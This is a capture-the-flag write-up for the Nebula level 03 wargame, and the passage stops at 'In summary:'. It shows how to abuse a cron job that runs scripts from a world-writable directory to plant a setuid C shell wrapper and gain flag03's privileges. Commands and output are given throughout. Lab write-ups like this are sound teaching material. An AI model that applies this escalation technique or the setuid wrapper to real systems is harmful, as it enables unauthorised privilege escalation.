Nebula Series - Level 03

26 Apr 2020


Cron jobs, similar to setuid binaries, run as a specific user. The instructions for this level indicate that there is a crontab that is called every couple of minutes and that we should inspect the files in /home/flag03 for more clues.

Taking a closer look at that directory we see

level03@nebula:/home/flag03$ ls -l
total 4
drwxrwxrwx 1 flag03 flag03  40 2020-04-10 06:27 writable.d
-rwxr--r-- 1 flag03 flag03 103 2020-04-10 06:19 writable.sh

There’s a directory /writable.d, that has some pretty lax permissions, and a script that’s likely related to the scheduled job mentioned in the instructions.

level03@nebula:/home/flag03$ cat ./writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done

Ok, so the script iterates over the files in /writable.d, executes them, and then deletes them. Could we abuse this to write to a directory we otherwise wouldn’t have permission to? Say… flag03’s home directory?

We place the following script in a file in /writable.d and wait for the scheduled job to run

#!/bin/bash

touch /home/flag03/test

After a few minutes we check the directory

level03@nebula:/home/flag03$ ls -l
total 4
-rw-rw-r-- 1 flag03 flag03   0 2020-04-10 06:39 test
drwxrwxrwx 1 flag03 flag03  40 2020-04-10 06:39 writable.d
-rwxr--r-- 1 flag03 flag03 103 2020-04-10 06:19 writable.sh

Sure enough, our script placed a test file, owned by flag03 in their home directory. Now what?

We’ve already learned from previous levels that a setuid binary can be exploited to gain the privileges of the user that owns it, and we just learned that we can create files as flag03; the plan is coming together.

Because setuid is ignored on interpreted executables, let’s write a simple C program that changes our real uid and runs a shell.

We’ll put the following in a file called exploit.c

#include <stdlib.h>
#include <sys/types.h>

int main(int argc, char **argv, char **envp)
{
    uid_t uid;

    uid = geteuid();

    setresuid(uid, uid, uid);

    system("/bin/bash");
}

And we’ll compile it and save the output as 2_exploit

$ gcc /home/level03/exploit.c -o /home/level03/2_exploit

Next, let’s create a script called 1_exploit.sh that, when run by the scheduled job, will copy our executable to flag03’s home directory and enable setuid.

#!/bin/bash

cp /home/flag03/writable.d/2_exploit /home/flag03/exploit
chmod +s /home/flag03/exploit

We’ve numbered the files so that they get executed in the proper order by the cron job otherwise it might delete our binary before it gets copied.

We copy both of those files to /home/flag03/writable.d and wait for the scheduled job to run.

A few minutes later we see our exploit binary sitting in our target’s home directory waiting for us to use it. Note that it’s owned by flag03 and is setuid

level03@nebula:/home/flag03$ ls -l
total 12
-rwsrwsr-x 1 flag03 flag03 7243 2020-04-10 07:15 exploit
-rw-rw-r-- 1 flag03 flag03    0 2020-04-10 06:39 test
drwxrwxrwx 1 flag03 flag03   40 2020-04-10 07:15 writable.d
-rwxr--r-- 1 flag03 flag03  103 2020-04-10 06:19 writable.sh

All that’s left is to run our executable to get a shell as flag03.

level03@nebula:/home/flag03$ ./exploit
bash-4.2$ whoami
flag03
bash-4.2$ getflag
You have successfully executed getflag on a target account

In summary: